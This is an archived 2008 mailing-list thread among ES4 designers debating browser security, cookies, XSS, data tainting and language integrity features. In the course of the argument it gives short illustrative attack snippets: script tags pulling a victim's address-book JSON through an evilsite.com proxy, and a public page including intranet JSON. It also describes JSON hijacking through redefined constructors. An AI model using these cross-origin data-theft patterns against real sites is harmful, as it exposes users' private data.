ES4 Security

# Steven Mascaro (17 years ago)

The current browser security model is broken. Any security exploit that has 'cross-site' in it's name need not exist today. The solution for browsers is simple: do not automatically transmit private information (usually cookies) to 3rd parties in a transaction.

Once this problem is solved, ES4 does not need RO/DD/IH for security. (IH=information hiding.)

Note, this post is only about security (and privacy). It is not about whether RO/DD/IH can make development/maintenance easier.

(I've keep this post short, given the lack of response to my last ridiculously long post. :) Opposing opinions very much welcomed.)

# Brendan Eich (17 years ago)

On May 17, 2008, at 11:55 PM, Steven Mascaro wrote:

The current browser security model is broken.

Ok, sure.

Any security exploit that has 'cross-site' in it's name need not
exist today.

Lots of problems "need not" exist today, but they do. Solving them
requires making changes. We "need" (I do, at any rate) to be specific
and detailed about exact problem and proposed solution(s), to talk
sensibly and evaluate the likely effects of changes from this point
forward. I'll try to be specific below, without getting stuck in
details.

"Cross-site" exploits happen on the server side too. They're possible
in proxies and other kinds of gateways. They arise when data
originating from different trust domains mix in ways that lose track
of each datum's trust label (ignore policy questions, including the
folly of putting the user in the loop). The mixing involves control
flow, so the problem is not solvable by data-labeling alone.

The solution for browsers is simple: do not automatically
transmit private information (usually cookies) to 3rd parties in a
transaction.

This is so vague it's hard to respond to usefully, but notice that
(in Parkerian Hexad terms) you're talking about Confidentiality here.

The parenthetical non-vague bit about cookies does not help, because
cookies are only one asset threatened by XSS. Browsers have cookie
controls already, we're working on improvements to them and their
defaults, but XSS goes way beyond cookies.

Once this problem is solved, ES4 does not need RO/DD/IH for
security. (IH=information hiding.)

Now you've changed the subject to Integrity.

Note, this post is only about security (and privacy).

We are not out to solve "security" or any such fluffy problem-name in
ES4. Anyone claiming to deliver "security" solely by means of a
"secure programming language" is selling you a bridge. See http:// lambda-the-ultimate.org/node/2773 for a recent LtU thread (and cue
David Teller and Mark Miller ;-).

It is not about whether RO/DD/IH can make development/maintenance
easier.

The main issue in ES4 is not "development/maintenance", it's being
able to make sane type judgments (static or dynamic, doesn't matter),
at all.

A secondary issue is Integrity as an information security property.
Integrity alone doesn't really "solve" whole problems on the real- world level of "prevent entire class of security exploit (XSS)" or
"make a usable and 'safe' yet powerful browser-based programming
language". But Integrity is an end-to-end property that you can build
proofs and helpful automations on top of, and without it you're too
often pretty much screwed.

I implemented a dynamic data tainting security model (opt-in) for
Netscape 3. Helpful testers actually beat on it, hard. Its goal of
Confidentiality was frustrated by (a) lack of static analysis to help
"untaint the pc" (tainting the pc is required to deal with Denning's
"implicit flows" -- see above about data labeling being
insufficient); (b) lack of Integrity to make such analysis practical,
if not feasible in the first place.

Ignoring ES4, browsers have struggled with mutable (and shadowable,
for initialisers per ES3!) Object and Array bindings, and mutability
in general. Check out the open source bug databases at
bugzilla.mozilla.org and webkit.org (both, one can cite bugs in
either; and closed-source browsers' bug databases, if they're worth
anything, should have similar bugs). Just one example:

bugzilla.mozilla.org/show_bug.cgi?id=376957

Jesse Ruderman's comment 0 is worth reading in full. See how browser
have to engineer defense-in-depth (so should everyone; I'm not
whining here).

In the real world this means considering the likelihood of web app
developers failing to authenticate carefully, or configure and check
MIME types. And of course, even if web app devs were perfect, there'd
still be browser bugs, mashup novelties, wireless network IP
addressing and DNS threats, etc.

Here's another "privacy" issue, not solved in any browser I know of,
dictated by web standards and user expectations:

bugzilla.mozilla.org/show_bug.cgi?id=147777

In the bug, David Baron even explores "cross-copying" (padding
execution times along alternate paths to close timing channels). This
is still a research problem.

And what's made this bug less severe, besides its ubiquity in all
popular browsers, is the fact that remote tracking of browser
"visited" history is unfortunately "easy" using a number of
techniques, ignoring CSS (Cascading Style Sheets, not XSS).

Still, I would like to fix bug 147777. I have some ideas, which
involve hybrid information flow propagating through CSS layout, but
they're vague and challenging -- researchy, in a word.

"Security" is a big topic, not something to simplify with too few
words. You cannot reduce a difficult argument to a short-hand formula
that "proves" ES4 should let Object or Array be overridden (or not).

Yet it seems to me you've made such a reduction: "Confidentiality,
not Integrity, is the property to enforce against XSS threats;
therefore Integrity does not matter for 'security'" (if I may
paraphrase your brief message with too few -- even fewer -- words
myself).

Kris Zyp tried this kind of stunt-argument with the "AOP" would-be
root password on this list, and I hope I put a stake through the
heart of that three-letter-acronym vampire. (I recently asked Mitch
Wand about AOP, which he'd spoken about at ICFP 2003 and researched a
bit, in part to tease him for touching such an overhyped topic; he
replied wittily: "sometimes someone coughs and you start sneezing." ;-)

At the level of "es4-discuss", we can keep arguing and try to come to
a deeper understanding; I'm game. But the idea that Confidentiality
is enough, Integrity be damned, requires more than what you've
written to make a convincing argument. In info-sec theory and
practice, Confidentiality depends and builds on Integrity.

(I've keep this post short, given the lack of response to my last
ridiculously long post. :) Opposing opinions very much welcomed.)

I think you kept it too short. :-/

# Mark S. Miller (17 years ago)

On Sun, May 18, 2008 at 2:54 AM, Brendan Eich <brendan at mozilla.org> wrote:

We are not out to solve "security" or any such fluffy problem-name in ES4. Anyone claiming to deliver "security" solely by means of a "secure programming language" is selling you a bridge. See http:// lambda-the-ultimate.org/node/2773 for a recent LtU thread (and cue David Teller and Mark Miller ;-).

Yes, I should have posted a reply in that thread. Thanks for the reminder. See lambda-the-ultimate.org/node/2773#comment-41775.

# Steven Mascaro (17 years ago)

On Sun, May 18, 2008 at 7:54 PM, Brendan Eich <brendan at mozilla.org> wrote:

Brendan wrote:

I think you kept it too short. :-/

I've been accused of being verbose, so I tried to keep my opening statement concise. It was meant as an invitation to discussion, not a final statement.

"Cross-site" exploits happen on the server side too. They're possible in proxies and other kinds of gateways. They arise when data originating from different trust domains mix in ways that lose track of each datum's trust label (ignore policy questions, including the folly of putting the user in the loop). The mixing involves control flow, so the problem is not solvable by data-labeling alone.

I'm confused. Aren't these man-in-the-middle attacks? Yes, there are 3 parties, but the structure and solution (usually encryption/signatures/hash checks) is different.

The solution for browsers is simple: do not automatically transmit private information (usually cookies) to 3rd parties in a transaction.

This is so vague it's hard to respond to usefully, but notice that (in Parkerian Hexad terms) you're talking about Confidentiality here.

The parenthetical non-vague bit about cookies does not help, because cookies are only one asset threatened by XSS. Browsers have cookie controls already, we're working on improvements to them and their defaults, but XSS goes way beyond cookies.

Perhaps, but they make for a particularly clear example of the XSS problem.

For example, suppose that it were possible to retrieve the text of any <script src="..."></script> element using '.textContent' from

javascript, regardless of origin. You'll agree that this is unthinkable today. But I assume you'll also agree that there is no security problem in doing this if no cookies (or other private data) are sent in the initial request to retrieve the script page?

The same issues affect XMLHttpRequest. The solution adopted by 'AJAX' developers is to ask their own server for the page, which is equivalent to asking for the page without cookies. The recently suggested cross-site XMLHttpRequest extensions still do not solve the problem completely (the original page sends cookies to the 3rd party server, which may not be what either the original page or the user wants).

I'd imagine a solution for cookies would look something as follows: 1) By default, don't send cookies across domains. 2) If a page requests that cookies be sent for an embedded request (XMLHttpRequest, <{script,img,iframe} src="" />, <link href="">, etc.), the browser

should send them to the 3rd party via an alternate header (i.e. instead of 'Cookie:', use 'Untrusted-Cookie:') and specify the source (which is normally in the referer anyway).

If there are non-cookie examples of XSS, please point me to them (setting aside equivalents like DOM storage, but also the :visited example from below).

Once this problem is solved, ES4 does not need RO/DD/IH for security. (IH=information hiding.)

Now you've changed the subject to Integrity.

No, I am talking about Integrity, Confidentiality and more (like Authenticity). Which is why I used the "fluffy" term security. If you can snoop data, you can breach Confidentiality. If you can rewrite data, you can breach Integrity. If you can auto submit data with cookie credentials, you can breach Authenticity. From what I can tell, you can prevent all three by either having lax 'cookie' policies and a restricted language, or restricted cookie policies and lax language. I obviously prefer the latter.

Note, this post is only about security (and privacy).

We are not out to solve "security" or any such fluffy problem-name in ES4. Anyone claiming to deliver "security" solely by means of a "secure programming language" is selling you a bridge. See http:// lambda-the-ultimate.org/node/2773 for a recent LtU thread (and cue David Teller and Mark Miller ;-).

I fully agree that 'secure programming languages' are not enough. I'd go further, though, and suggest that 'security' and 'programming languages' should be treated separately. And I apologise for using fluffy terms, but if there were better terms available, I would use them.

It is not about whether RO/DD/IH can make development/maintenance easier.

The main issue in ES4 is not "development/maintenance", it's being able to make sane type judgments (static or dynamic, doesn't matter), at all.

So making application development and maintenance as simple as possible is not your Number 1 Priority? Who, in that case, are you developing ES4 for? Theoreticians?

A secondary issue is Integrity as an information security property. Integrity alone doesn't really "solve" whole problems on the real- world level of "prevent entire class of security exploit (XSS)" or "make a usable and 'safe' yet powerful browser-based programming language". But Integrity is an end-to-end property that you can build proofs and helpful automations on top of, and without it you're too often pretty much screwed.

I implemented a dynamic data tainting security model (opt-in) for Netscape 3. Helpful testers actually beat on it, hard. Its goal of Confidentiality was frustrated by (a) lack of static analysis to help "untaint the pc" (tainting the pc is required to deal with Denning's "implicit flows" -- see above about data labeling being insufficient); (b) lack of Integrity to make such analysis practical, if not feasible in the first place.

After reading up on implicit flows, I still have no idea what 'tainting the pc' means. In any event, it would seem to me that data-tainting is impossible without integrity. And I'm arguing that tight cookie policies would ensure integrity.

Ignoring ES4, browsers have struggled with mutable (and shadowable, for initialisers per ES3!) Object and Array bindings, and mutability in general. Check out the open source bug databases at bugzilla.mozilla.org and webkit.org (both, one can cite bugs in either; and closed-source browsers' bug databases, if they're worth anything, should have similar bugs). Just one example:

bugzilla.mozilla.org/show_bug.cgi?id=376957

Jesse Ruderman's comment 0 is worth reading in full. See how browser have to engineer defense-in-depth (so should everyone; I'm not whining here).

That actually provides an excellent example of what I'm talking about. Jesse talks about a script that serves up data using JSON at some URL (e.g. mail.victimsite.com/address-book.json). A 3rd party site can then use <script src="mail.victimsite.com/address-book.json"></script> to snoop

on that data using prior redefinitions of Object/Array, prototype getters/setters, etc. (In most cases, this can be avoided anyway by victimsite.com checking the referer.)

But if no cookies are sent, there is no problem. For example, suppose evilsite.com did the following instead:

<script src="evilsite.com?graburl.cgi?loc=https://mail.victimsite.com/address-book.json"></script>

evilsite.com can do that today, and will forever be able to do that. There is no problem, though, because the 'graburl.cgi' script can't send the user's cookies to victimsite.com. I don't understand why there is any confusion about this.

In the real world this means considering the likelihood of web app developers failing to authenticate carefully, or configure and check MIME types. And of course, even if web app devs were perfect, there'd still be browser bugs, mashup novelties, wireless network IP addressing and DNS threats, etc.

You can't solve wireless, DNS or other network-level attacks in the browser. Browser bugs are obviously a problem, but won't be any more or less harmful with what I'm proposing.

In fact, if you really do like the defense-in-depth idea (and I'm loathe to suggest this), you could implement the cookie restrictions I've argued for PLUS the language restrictions.

Here's another "privacy" issue, not solved in any browser I know of, dictated by web standards and user expectations:

bugzilla.mozilla.org/show_bug.cgi?id=147777

In the bug, David Baron even explores "cross-copying" (padding execution times along alternate paths to close timing channels). This is still a research problem.

And what's made this bug less severe, besides its ubiquity in all popular browsers, is the fact that remote tracking of browser "visited" history is unfortunately "easy" using a number of techniques, ignoring CSS (Cascading Style Sheets, not XSS).

Still, I would like to fix bug 147777. I have some ideas, which involve hybrid information flow propagating through CSS layout, but they're vague and challenging -- researchy, in a word.

Yes, that truly is a difficult privacy bug to fix. I use a similar trick to discover what fonts a user has installed on their system. The new 'offline' flag could probably be used in questionable ways. There are also sites like clicktale.com. None of them can be fixed without complicated changes to javascript and probably other parts of the browser. (Though, the :visited case is the only one of real concern from this particular list.)

To be honest, I've never found cross-domain :visited indicators very useful, so I'd be happy to turn them off, but perhaps others might want them.

"Security" is a big topic, not something to simplify with too few words. You cannot reduce a difficult argument to a short-hand formula that "proves" ES4 should let Object or Array be overridden (or not).

I believe you can't 'prove' much that's interesting, anyway... (again, that's why I don't believe in the utility of code verification).

Yet it seems to me you've made such a reduction: "Confidentiality, not Integrity, is the property to enforce against XSS threats; therefore Integrity does not matter for 'security'" (if I may paraphrase your brief message with too few -- even fewer -- words myself).

I hope I've made it clear that's not what I mean.

Kris Zyp tried this kind of stunt-argument with the "AOP" would-be root password on this list, and I hope I put a stake through the heart of that three-letter-acronym vampire. (I recently asked Mitch Wand about AOP, which he'd spoken about at ICFP 2003 and researched a bit, in part to tease him for touching such an overhyped topic; he replied wittily: "sometimes someone coughs and you start sneezing." ;-)

In the message I found, you mention logging (and other post-hoc instrumentation) as a potential use for AOP. Being from a simulation background, I'd find statistics a compelling use. Being a programmer, I'd find debugging a compelling use. Being a hacker (not cracker!), I'd find modifying other people's code another compelling use.

(Not that I'm a fan of buzzwords --- or jargon, for that matter.)

At the level of "es4-discuss", we can keep arguing and try to come to a deeper understanding; I'm game. But the idea that Confidentiality is enough, Integrity be damned, requires more than what you've written to make a convincing argument. In info-sec theory and practice, Confidentiality depends and builds on Integrity.

I am up for that. In a general sense, I would like to get to a point where I can agree with the direction of ES4, even if it's with a heavy heart. I'm not there yet.

# Steven Mascaro (17 years ago)

<script src="evilsite.com?graburl.cgi?loc=https://mail.victimsite.com/address-book.json"></script>

Er, that should obviously be <script src="evilsite.com/graburl.cgi . . .

# Mike Shaver (17 years ago)

On Sun, May 18, 2008 at 10:50 AM, Steven Mascaro <subs at voracity.org> wrote:

For example, suppose that it were possible to retrieve the text of any <script src="..."></script> element using '.textContent' from javascript, regardless of origin. You'll agree that this is unthinkable today. But I assume you'll also agree that there is no security problem in doing this if no cookies (or other private data) are sent in the initial request to retrieve the script page?

I wouldn't make that assumption, and I doubt that Brendan would agree.

publicsite.com/lolhax.html containing <script src="intranet/internallyPublicResource?format=json"></script>,

for example.

Mike

# Brendan Eich (17 years ago)

On May 18, 2008, at 7:50 AM, Steven Mascaro wrote:

On Sun, May 18, 2008 at 7:54 PM, Brendan Eich <brendan at mozilla.org>
wrote: Brendan wrote:

I think you kept it too short. :-/

I've been accused of being verbose, so I tried to keep my opening statement concise. It was meant as an invitation to discussion, not a final statement.

I got your intent, but vague feel-good words (sorry, that's
unfortunately what "security" and too often "privacy" are) do not
help us make progress in this forum. Kinda like appealing to
motherhood and apple pie ;-). From a post to es4-discuss I wrote last
fall:

Security is an "issue" (not in the Oprah sense), all right. A bit
more precisely, it is a set of end-to-end properties that need
solid enforcement mechanisms at many layers of abstraction.
Security is however not a unitary good or "product".

So we should talk about specific, well-defined properties that can be
verified somehow (whether statically or not).

"Cross-site" exploits happen on the server side too. They're possible in proxies and other kinds of gateways. They arise when data originating from different trust domains mix in ways that lose track of each datum's trust label (ignore policy questions, including the folly of putting the user in the loop). The mixing involves control flow, so the problem is not solvable by data-labeling alone.

I'm confused. Aren't these man-in-the-middle attacks? Yes, there are 3 parties, but the structure and solution (usually encryption/signatures/hash checks) is different.

No MITM -- think mashups, user-generated content hosting (myspace,
lj, etc.). Firefox and other Mozilla-based apps are indeed the ur- mashup (code and markup loaded from various origins mixing in a
single JS runtime).

For example, suppose that it were possible to retrieve the text of any <script src="..."></script> element using '.textContent' from javascript, regardless of origin. You'll agree that this is unthinkable today. But I assume you'll also agree that there is no security problem in doing this if no cookies (or other private data) are sent in the initial request to retrieve the script page?

Absolutely not. Why do you think that would be safe? Shaver's
followup shows a "Princeton attack" against inside-the-firewall known- intranet-address data. That's just one problem. You can blame the
firewall or doc-hosting server admin, but it's a real-world problem.

In the Netscape 3 data tainting model, with a much simpler DOM,
properties of equivalent asset value would be tainted with the page's
origin. They could freely flow into scripts loaded from other
origins, but the results (any results) could not leak back
(feasibly, or at least in practically cheap-enough flows) to the
other origins' servers. But as I've noted in the last message and in
recent talks about this experiment, the purely dynamic information
flow system cannot untaint the virtual machine pc, so taint mixtures
accumulate badly. The system is too pessimistic, for want of static
analysis -- a hybrid approach I'm experimenting with now.

In the same-origin model under which we all suffer still, there's no
taint or trust label associated exactly with .textContext's value, so
to protect this asset, ignoring cookie leaks, we would be relying (as
we do for all such DOM assets today) on the access-control checks
done between trust containers (window objects, "frames" in general).
This is a bad bet, because browsers constantly patch bugs in their
leaky inter-frame reference monitors. This is the bigger problem I
alluded to above ("That's just one problem").

The same issues affect XMLHttpRequest. The solution adopted by 'AJAX' developers is to ask their own server for the page, which is equivalent to asking for the page without cookies. The recently suggested cross-site XMLHttpRequest extensions still do not solve the problem completely (the original page sends cookies to the 3rd party server, which may not be what either the original page or the user wants).

Right, and cookies are a hot point of contention in the W3C Web API
working group, and among Mozillans, right now. We pulled XS-XHR based
on the draft recommendation from Firefox 3 in order to get it right,
and avoid spreading a de-facto standard before the de-jure one was
finished (this is a chicken and egg situation; some on the working
group would want us to set precedent -- I think that's wrong, but I
understand it, and so [evidently] does Microsoft).

This is getting far afield from es4-discuss, however. Suggest we take
it to a w3c public list, if there is one.

If there are non-cookie examples of XSS, please point me to them (setting aside equivalents like DOM storage, but also the :visited example from below).

Yikes. Where to start?

bugzilla.mozilla.org/buglist.cgi? query_format=specific&order=relevance +desc&bug_status=open&content=XSS

Once this problem is solved, ES4 does not need RO/DD/IH for security. (IH=information hiding.)

Now you've changed the subject to Integrity.

No, I am talking about Integrity, Confidentiality and more (like Authenticity).

Sorry, but you wrote "Once [a Confidentiality problem is solved], ES4
does not need [Integrity features]". I disagreed -- even
excluding the programming-in-the-large reasons for those Integrity
features -- and gave my reasons. Cookies are not the only or even the
main pain point.

It is not about whether RO/DD/IH can make development/maintenance easier.

The main issue in ES4 is not "development/maintenance", it's being able to make sane type judgments (static or dynamic, doesn't matter), at all.

So making application development and maintenance as simple as possible is not your Number 1 Priority?

You didn't see me write that, so please don't put your interpretation
in my mouth.

Who, in that case, are you developing ES4 for? Theoreticians?

This is a cheap shot. C'mon.

Type judgments mean something to programmers, even in JS today.
Consider the "which Object or Array constructor got called" JSON
issue alone.

JS hackers have to hand-code their own type tests today, using
typeof, instanceof, and ad-hoc "shape testing". Ajax libraries do
this all the time. The virtues of duck-typing are well-known, but
there's a down side. If you disagree, we should have a better
argument about this topic in a separate thread.

Writing a bunch of duck-typing code is more onerous than writing a
'like' test in ES4, and there's no way to write an 'is' test (the
subtype relation enforced on every write to a type-annotated variable
in ES4) in ES3 today. The duck could turn into a monster a split
second after the duck-type test executes.

Therefore I believe that ES4 makes application development and
maintenance strictly better, compared to ES3. If you have not read
the evolutionary programming tutorial (only slightly out of date),
you really ought to. My blog has a slideware version of it that's
even quicker to digest, from last fall.

I can understand programmers favoring dynamic languages for good
reasons, and viewing type systems such as Java's with alarm. I'm on
that "side" often enough, myself.

What I can't abide is painting ES4 as a "static language" (heck,
we've even dropped the optional type checker from the draft specs!),
or rejecting systematic thinking about types and programming in the
large. Every JS programmer working on non-trivial web app code today
must design and enforce (or not) a latent type system in untyped JS,
which interacts heavily with nominal types in the DOM and browser
objects. Every JS programmer today doing non-trivial work must deal
with name clash hazards and modularity pitfalls.

ES4 supports the untyped idiomatic styles used with ES3, but also
gives programmers tools otherwise unavailable to harden abstractions
against unwanted mutation, hide names cheaply, suspend and resume
functions, and eliminate error-prone boilerplate (which is verbose
enough in ES3 that it's often skipped). I've posted on this before.
See the thread:

www.nabble.com/AOP-Compatibility-td15595357i20.html

of course the annotated slideware blog post I cited above.

After reading up on implicit flows, I still have no idea what 'tainting the pc' means. In any event,

Consider this code:

var A = 0, C = 0; var B = secret; if (B) { A = 1; } else { C = 1; } submit(C);

In unsound dynamic-only data tainting, if B (secret) is true, then A
will be tainted with the secret's label, else C will be. But this
misses the "implicit flow" (Dorothy Denning, SOSP 1976 -- an OS
journal, that's where the action was then!) through the else or then
clause not taken and into the other (C or A) variable.

So in sound dynamic data tainting, one must associate a trust label
with the state of execution, call it the program counter (pc), and
taint the pc when control flow forks based on a secret (on any data
whose trust label is not the pc's label). The tainted pc then taints
effects in all paths that could be taken -- this handles implicit flows.

The problem then becomes untainting the pc. Netscape 3's optional
security model could not untaint, lacking static analysis of all
possible effects committed by alternative control flow graph paths
(liveness analysis can help too). Such analyses are hard without more
certainty about name binding and data types.

This is an interesting area of research, which we're pursuing at
Mozilla in partnership with some academic researchers. I'll have more
to say about it shortly.

it would seem to me that data-tainting is impossible without integrity. And I'm arguing that tight cookie policies would ensure integrity.

I think you are missing the big picture by focusing on cookies. There
are, and will be for a while yet, too many ways to leak data.

But if no cookies are sent, there is no problem. For example, suppose evilsite.com did the following instead:

<script src="evilsite.com?graburl.cgi?loc=https://mail.victimsite.com/ address-book.json"></script>

evilsite.com can do that today, and will forever be able to do that. There is no problem, though, because the 'graburl.cgi' script can't send the user's cookies to victimsite.com. I don't understand why there is any confusion about this.

There's no confusion. You are simply assuming proper authentication,
which is over-optimistic (Murphy was an optimist). Joe Walker's blog
did not get read by everyone using JSON across origins. Reality bites
(major sites have had firedrills).

Defense in depth requires more than one line of defense. This is why
cookie-sending in XS-XHR is a hot issue. Will existing sites fail to
authenticate where they should? Will they naively extend their
existing auth systems from XHR to XS-XHR, compromising non-public
data? Will mashup sites over-auth too much thereby training users to
re-enter reusable credentials? These are hard, ultimately human- factors problems. The solutions are not obvious, and the difficulties
here are vexing the Web API committee, or at least the members of it
I know.

To get away from XS-XHR and back to JSON data and JS/ES: Jesse's
whole point in filing that Mozilla bug was to plead for greater
defense in depth, specifically greater Integrity for object and array
initialisers.

In fact, if you really do like the defense-in-depth idea (and I'm loathe to suggest this), you could implement the cookie restrictions I've argued for PLUS the language restrictions.

Now you are talking! (I'm not kidding.)

"Security" is a big topic, not something to simplify with too few words. You cannot reduce a difficult argument to a short-hand formula that "proves" ES4 should let Object or Array be overridden (or not).

I believe you can't 'prove' much that's interesting, anyway... (again, that's why I don't believe in the utility of code verification).

Bill Gates begs to differ (device driver verification, also great
work from various MSR researchers), and we're seeing wins from static
analysis in the Mozilla world. Not full program verification, mind
you, but formal methods should not be dismissed wholesale based on
poor results from the past. Proving correctness and soundness are
hard, but checking programmer assumptions and would-be invariants --
that's what ES4 makes easier with its gradual types. That kind of
"model-checking" or "shape testing" is also what a lot of JS code,
and a lot of Mozilla code (including C++ code) needs.

You don't have to "believe in the utility" of anything. Either
analysis is useful, or it isn't. It's clear that checking latent
types in JS, or checking other invariants that can't be expressed via
the weak notion of types in JS and the DOM today, is hard enough that
Ajax libraries spend a great many lines of code on it, with
standardized patterns and helpers. Such code patterns are signs of
gaps in JS1/ES3, and the Ajax libraries can't fill these gaps
completely (e.g., because they can't guarantee name bindings or seal
objects against mutation).

In the message I found, you mention logging (and other post-hoc instrumentation) as a potential use for AOP. Being from a simulation background, I'd find statistics a compelling use. Being a programmer, I'd find debugging a compelling use. Being a hacker (not cracker!), I'd find modifying other people's code another compelling use.

Not to digress again, but the conclusion Mitch reached, in his
summary words, was "sound plugin APIs good, AspectJ-like hacks bad".

Debugging is a whole other can of worms. It must be able to violate
abstractions. But let's leave it for another day. It should be
sufficient to note here that debuggers are privileged in ways
ordinary ES code, even with ES4 reflection APIs being proposed, is not.

# Steven Mascaro (17 years ago)

On Mon, May 19, 2008 at 11:54 PM, Mike Shaver <mike.shaver at gmail.com> wrote:

On Sun, May 18, 2008 at 10:50 AM, Steven Mascaro <subs at voracity.org> wrote:

For example, suppose that it were possible to retrieve the text of any <script src="..."></script> element using '.textContent' from javascript, regardless of origin. You'll agree that this is unthinkable today. But I assume you'll also agree that there is no security problem in doing this if no cookies (or other private data) are sent in the initial request to retrieve the script page?

I wouldn't make that assumption, and I doubt that Brendan would agree.

publicsite.com/lolhax.html containing <script src="intranet/internallyPublicResource?format=json"></script>, for example.

Point taken. I remember worrying about this with the intranet I manage, so I made every (generated) page require authentication. But granted, not everyone will do this.

Still, there are some arguments against this (and for urging intranet developers to use authentication):

  1. Sensitive JS functions and variables are still exposed in the same way
  2. Various privileged actions can still be performed, such as accessing or posting to URLs that trigger internal actions
  3. "Fishing" style attacks have very low returns because internal URLs are difficult to guess. They will be easy to guess for either major intranet packages or major organisations, but those must use authentication anyway (see 1 & 2)
  4. The vast bulk of JSON data delivered this way will be customised to the user, and hence involve cookies (yes, I am myopic, aren't I? :) ). Anything not customised to the user is unlikely to contain sensitive data (because it will be available to anyone with access to the intranet --- from managers to work experience kids). Granted, there will be developers who think 'programming code' means 'invisible', but those developers will either be bitten by much harder problems soon enough, or won't encounter any problems at all because their code is not used by enough people

Again, though, I feel that this is an example of 'private data' abuse by a 3rd party (where the private data here are credentials). I get panicky every time I do something as simple as linking to a public website from an intranet page (and hence use anonymous redirects). I would much prefer if it were not possible to mix data from two different networks (in this case, internet/intranet) without being completely explicit, but I understand that would require some major changes.

# Steven Mascaro (17 years ago)

On Tue, May 20, 2008 at 8:21 AM, Brendan Eich <brendan at mozilla.org> wrote:

Security is an "issue" (not in the Oprah sense), all right. A bit more precisely, it is a set of end-to-end properties that need solid enforcement mechanisms at many layers of abstraction. Security is however not a unitary good or "product".

So we should talk about specific, well-defined properties that can be verified somehow (whether statically or not).

I'm happy to do that, but my argument begins and is driven by vague instinct. In a sense, I have a Lakatosian-style hard-core theory (that I don't know how to put into words), and I'm trying to work out if I should abandon it or simply make changes to the soft-core of specific, well-defined properties around it.

No MITM -- think mashups, user-generated content hosting (myspace, lj, etc.). Firefox and other Mozilla-based apps are indeed the ur-mashup (code and markup loaded from various origins mixing in a single JS runtime).

Domain-level controls will obviously be ineffective because they all live on the same domain (and in some cases, the very same page). I suggested the use of sandboxes here:

bugzilla.mozilla.org/show_bug.cgi?id=178993#c55

(which requires random boundaries as Ken mentions in the bug). I'm roughly thinking that sandboxes == domains from a conceptual point of view. Without those kind of controls, though, Javascript will struggle to plug all the possible problems with just RO/DD/IH. What's more, it's a lot easier for a developer to understand the concept "cordon off the risk" than it is for her to understand "make some things read-only, other things don't delete and hide the info you don't want showing, but don't do that with everything because you'll want to modify some of your own things under certain conditions that probably won't be obvious until you need to do it".

For example, suppose that it were possible to retrieve the text of any <script src="..."></script> element using '.textContent' from javascript, regardless of origin. You'll agree that this is unthinkable today. But I assume you'll also agree that there is no security problem in doing this if no cookies (or other private data) are sent in the initial request to retrieve the script page?

Absolutely not. Why do you think that would be safe? Shaver's followup shows a "Princeton attack" against inside-the-firewall known-intranet-address data. That's just one problem. You can blame the firewall or doc-hosting server admin, but it's a real-world problem.

I've replied to Shaver's example. If you consider the response inadequate, I'd be happy to read your rebuttal there.

In the Netscape 3 data tainting model, with a much simpler DOM, properties of equivalent asset value would be tainted with the page's origin. They could freely flow into scripts loaded from other origins, but the results (any results) could not leak back (feasibly, or at least in practically cheap-enough flows) to the other origins' servers. But as I've noted in the last message and in recent talks about this experiment, the purely dynamic information flow system cannot untaint the virtual machine pc, so taint mixtures accumulate badly. The system is too pessimistic, for want of static analysis -- a hybrid approach I'm experimenting with now.

Data-tainting sounds as if it is not only extremely complex to implement, but seems as if it would be extremely difficult for most developers to understand. (Don't they have to have an understanding of where the flows go, too?) The new postMessage method sounds like a great, simple way to punch small holes in cross-site firewalls. (That's not to say data-tainting shouldn't be looked into.)

In the same-origin model under which we all suffer still, there's no taint or trust label associated exactly with .textContext's value, so to protect this asset, ignoring cookie leaks, we would be relying (as we do for all such DOM assets today) on the access-control checks done between trust containers (window objects, "frames" in general). This is a bad bet, because browsers constantly patch bugs in their leaky inter-frame reference monitors. This is the bigger problem I alluded to above ("That's just one problem").

I'm not sure what the specific problem is that your describing, but I'll try to reason it through. Consider 2 windows (frames, whatever), A and B. Javascript restrictions will be of little use under the following conditions:

  1. If there is a browser flaw such that Window A contains internal references to properties in Windows B.
  2. If there is a browser cross-domain permissions flaw that allows Window A to get/set some properties in Window B.
  3. If there is a mashup-style same domain attack --- for example, myspace.com/john includes an iframe/popup containing myspace.com/jane. (Sandboxes prevent Jane attacks on John. They don't prevent John attacks on Jane --- though neither will Javascript controls; I imagine form.submit() will always be possible.)

But I feel you have something else in mind.

Right, and cookies are a hot point of contention in the W3C Web API working group, and among Mozillans, right now. We pulled XS-XHR based on the draft recommendation from Firefox 3 in order to get it right, and avoid spreading a de-facto standard before the de-jure one was finished (this is a chicken and egg situation; some on the working group would want us to set precedent -- I think that's wrong, but I understand it, and so [evidently] does Microsoft).

Mozilla's course of action seems reasonable.

This is getting far afield from es4-discuss, however. Suggest we take it to a w3c public list, if there is one.

Unfortunately, this topic cuts across too many subjects. (Did I just make an AOP joke?)

If there are non-cookie examples of XSS, please point me to them (setting aside equivalents like DOM storage, but also the :visited example from below).

Yikes. Where to start? bugzilla.mozilla.org/buglist.cgi?query_format=specific&order=relevance+desc&bug_status=open&content=XSS

Thanks, I will take a look through and see which category I can force each bug into (either "not solvable by Javascript controls" or "solvable through other means") ;)

Once this problem is solved, ES4 does not need RO/DD/IH for security. (IH=information hiding.)

Now you've changed the subject to Integrity.

No, I am talking about Integrity, Confidentiality and more (like Authenticity).

Sorry, but you wrote "Once [a Confidentiality problem is solved], ES4 does not need [Integrity features]". I disagreed -- even excluding the programming-in-the-large reasons for those Integrity features -- and gave my reasons. Cookies are not the only or even the main pain point.

I said the problem solution was to "not automatically transmit private information". Since I don't think in terms of Hexads, by that phrase I meant data, credentials and control signals (and anything else that can be represented by bits). I appreciate why this would have been confusing, but hopefully my intention is clearer now.

Who, in that case, are you developing ES4 for? Theoreticians?

This is a cheap shot. C'mon.

Yes, I'll do anything for a laugh :) I was merely suggesting that sometimes we get so excited by the details of what we're doing, we forget what's important to those we're trying to help.

...snip discussion on typing, duck typing, etc....

I agree we should take this up in another thread (which is why I have tried to restrict the scope of my comments).

But I will just quickly say that I agree with almost everything you've said. The only exception being that I would want unwanted mutations and cheap name hiding to be suppressible (not impossible). Strict mode should prevent compilation/running. 'Lax' mode should warn you (even if you're accessing strict mode code) and allow you to suppress the warning by using something like PHP's @ operator. (And I've used that operator quite a few times...)

But this won't fly if the reason for preventing mutations is security (or whatever concept you prefer).

After reading up on implicit flows, I still have no idea what 'tainting the pc' means. In any event,

